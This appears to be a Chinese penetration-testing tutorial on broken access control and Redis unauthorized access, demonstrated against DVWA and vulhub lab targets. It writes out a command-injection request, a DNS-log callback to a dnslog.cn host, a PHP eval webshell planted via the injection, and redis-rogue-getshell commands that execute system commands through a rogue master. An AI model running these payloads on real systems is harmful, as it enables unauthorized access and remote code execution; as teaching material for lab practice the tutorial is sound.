中國石化工程建設(shè)有限公司南昌seo技術(shù)外包
文章目錄
- 1、失效的訪問控制
- 1.1、OWASP Top 10
- 1.1.1、A5:2017-Broken Access Control
- 1.1.2、A01:2021 – Broken Access Control
- 1.2、失效的訪問控制類別
- 1.2.1、水平越權(quán)
- 1.2.2、垂直越權(quán)
- 1.3、攻防案例
- 1.3.1、Pikachu靶場 Over Permision
- 1.3.2、DVWA越權(quán)
- 利用失效的訪問控制漏洞執(zhí)行命令注入
- 利用失效的訪問控制漏洞寫一個webshell,嘗試蟻劍連接
- 1.4、相關(guān)漏洞
- 1.4.1、目錄遍歷
- 1.4.2、未授權(quán)訪問
- 2、未授權(quán)訪問
- 2.1、Redis未授權(quán)訪問
- 2.1.1、Redis介紹
- 2.1.2、Redis簡單使用
- 2.1.3、Redis未授權(quán)訪問
- 2.1.4、Redis未授權(quán)訪問執(zhí)行系統(tǒng)命令漏洞復(fù)現(xiàn)
1、失效的訪問控制
應(yīng)該對Web 應(yīng)用(系統(tǒng)等)實施訪問控制策略,限定不同用戶的不同權(quán)限(訪問范圍)。如果沒控制住,就意味著訪問控制失效。
1.1、OWASP Top 10
1.1.1、A5:2017-Broken Access Control
A5:2017-Broken Access Control
未對通過身份驗證的用戶實施恰當?shù)脑L問控制。攻擊者可以利用這些缺陷訪問未經(jīng)授權(quán)的功能或數(shù)據(jù),例如:訪問其他用戶的帳戶、查看敏感文件、修改其他用戶的數(shù)據(jù)、更改訪問權(quán)限等。
1.1.2、A01:2021 – Broken Access Control
A01:2021 – Broken Access Control
訪問控制強制實施策略,使用戶無法在其預(yù)期權(quán)限之外進行操作。失敗的訪問控制通常會導(dǎo)致未經(jīng)授權(quán)的信息泄露、修改或銷毀所有數(shù)據(jù)、或在用戶權(quán)限之外執(zhí)行業(yè)務(wù)功能。
1.2、失效的訪問控制類別
權(quán)限移動方向
1.2.1、水平越權(quán)
在同級別賬戶中橫向移動
就是同級用戶之間的越權(quán),打個比方現(xiàn)在有ABC三個用戶,A是管理員,BC都是普通用戶,現(xiàn)在B能夠使用C這個用戶的權(quán)限這就是水平越權(quán),
1.2.2、垂直越權(quán)
普通用戶獲取管理員權(quán)限
通過低級權(quán)限跨越到高級權(quán)限,用高級權(quán)限干高級權(quán)限的事情,來我們繼續(xù)打比方,A是超級管理員,BC是普通用戶,現(xiàn)在這個B啊,通過了某些手段,跨越獲得了A超級管理員的權(quán)限,這就是垂直越權(quán),垂直越權(quán)的特點就是以低級權(quán)限向高級權(quán)限跨越
1.3、攻防案例
1.3.1、Pikachu靶場 Over Permision
Pikachu靶場 Over Permision
1.3.2、DVWA越權(quán)
利用失效的訪問控制漏洞執(zhí)行命令注入
先在正常登錄的情況下,BurpSuite
抓取Command Injection
關(guān)卡的Low級別
然后點擊Logout
退出登錄
實現(xiàn)在不登錄DVWA靶場的情況下訪問靶場里面 Command Injection
關(guān)卡的Low級別
路徑:vulnerabilities\exec\source
瀏覽器訪問low.php
通過訪問http://192.168.80.139/DVWA-2.0.1/vulnerabilities/exec/source/low.php
得到如下界面
BurpSuite
抓取數(shù)據(jù)包,發(fā)送到Repeater
模塊
改變數(shù)據(jù)包的請求方式,在源碼中可以得知是通過POST
方式提交的
添加請求體內(nèi)容:ip=127.0.0.1&Submit=Submit
使用&
實現(xiàn)命令拼接,做命令注入
&
需要做URL編碼,防止跟連接Submit
的&
發(fā)生沖突
BurpSuite
中選中&
,按Ctrl+u
,即可實現(xiàn)uRL編碼
發(fā)現(xiàn)使用whoami
命令并沒有回顯
然后使用calc
嘗試調(diào)出計算器
命令執(zhí)行成功!
說明頁面沒有回顯并不能代表命令執(zhí)行沒有成功
可以利用dnslog平臺測試命令是否執(zhí)行成功
r
然后使用nslookup
進行域名 解析:ip=127.0.0.1%26nslookup+hv1co0.dnslog.cn&Submit=Submit
點擊Send
發(fā)送,來到dnslog平臺
,點擊Refresh Record
刷新記錄
解析到了,說明命令執(zhí)行成功
利用失效的訪問控制漏洞寫一個webshell,嘗試蟻劍連接
echo "<?php @eval($_REQUEST[6868])?>" >shell.php
按Ctrl+u
做url編碼
得到echo+"<%3fphp+%40eval($_REQUEST[6868])%3f>"+>shell.php
POST /DVWA-2.0.1/vulnerabilities/exec/source/low.php HTTP/1.1
Host: 192.168.80.139
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 86ip=127.0.0.1%26echo+"<%3fphp+%40eval($_REQUEST[6868])%3f>"+>shell.php&Submit=Submit
訪問http://192.168.80.139/DVWA-2.0.1/vulnerabilities/exec/source/
查看是否成功
訪問shell.php
蟻劍 連接
http://192.168.80.139/DVWA-2.0.1/vulnerabilities/exec/source/shell.php
1.4、相關(guān)漏洞
1.4.1、目錄遍歷
目錄穿越,目錄遍歷,Directory Traversal,Web 用戶,通過某種方式,可以訪問Web 根目錄以外的文件,甚至執(zhí)行系統(tǒng)命令。
造成目錄遍歷漏洞的原因:
- 文件包含
- 文件讀取
- RCE
- …
1.4.2、未授權(quán)訪問
未授權(quán)訪問,Unauthorized Access,重要資產(chǎn)根本沒有做訪問控制限制,導(dǎo)致黑客攻擊者可以在沒有授權(quán)的情況下操作重要資產(chǎn),包括讀寫文件,執(zhí)行命令等敏感操作
2、未授權(quán)訪問
2.1、Redis未授權(quán)訪問
2.1.1、Redis介紹
Redis 是非關(guān)系型
數(shù)據(jù)庫系統(tǒng),沒有庫表列的邏輯結(jié)構(gòu),僅僅以鍵值對
的方式存儲數(shù)據(jù)
Redis 數(shù)據(jù)庫經(jīng)常用于Web 應(yīng)用的緩存
Redis 可以與文件系統(tǒng)進行交互
Redis 監(jiān)聽TCP/6379
2.1.2、Redis簡單使用
博客 跳轉(zhuǎn)
Redis 未設(shè)置密碼,客戶端工具可以直接鏈接
┌──(ajest💋zh-CN)-[~/vulhub/vulhub/redis/4-unacc]
└─$ redis-cli -h 127.0.0.1
127.0.0.1:6379> set name JayChou
OK
127.0.0.1:6379> get name
"JayChou"
127.0.0.1:6379> config set dir /tmp/
OK
127.0.0.1:6379> config set dbfilename jaychou.txt
OK
127.0.0.1:6379> save
OK
127.0.0.1:6379>
2.1.3、Redis未授權(quán)訪問
讀取數(shù)據(jù)庫內(nèi)容 | 讀取系統(tǒng)文件 | 執(zhí)行系統(tǒng)命令 |
---|---|---|
信息泄露 | 直接寫WebShell 計劃任務(wù)反彈Shell SSH免密登錄 … | redis-rogue-getshell |
2.1.4、Redis未授權(quán)訪問執(zhí)行系統(tǒng)命令漏洞復(fù)現(xiàn)
環(huán)境:/vulhub/vulhub/redis/4-unacc
docker-compose up -d
啟動環(huán)境后,連接redis
客戶端
無密碼,直接連接成功
┌──(kali?kali)-[~/Vulnerability-library/vulhub/redis/4-unacc]
└─$ redis-cli -h 127.0.0.1
127.0.0.1:6379> info
# Server
redis_version:4.0.14
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:3914f9509eb3b682
redis_mode:standalone
os:Linux 6.1.0-kali9-amd64 x86_64
.......
.......
從 github
上把redis-rogue-getshell這個項目克隆下來
第一步:
cd redis-rogue-getshell/RedisModulesSDK/
make
會生成一個exp.so
文件,編譯時會報錯,不影響我們操作
cd ../
python3 redis-master.py -r 127.0.0.1 -p 6379 -L 192.168.80.141 -P 8888 -f RedisModulesSDK/exp.so -c "id"
執(zhí)行id
命令
執(zhí)行其他命令
python3 redis-master.py -r 127.0.0.1 -p 6379 -L 192.168.80.141 -P 8888 -f RedisModulesSDK/exp.so -c "whoami"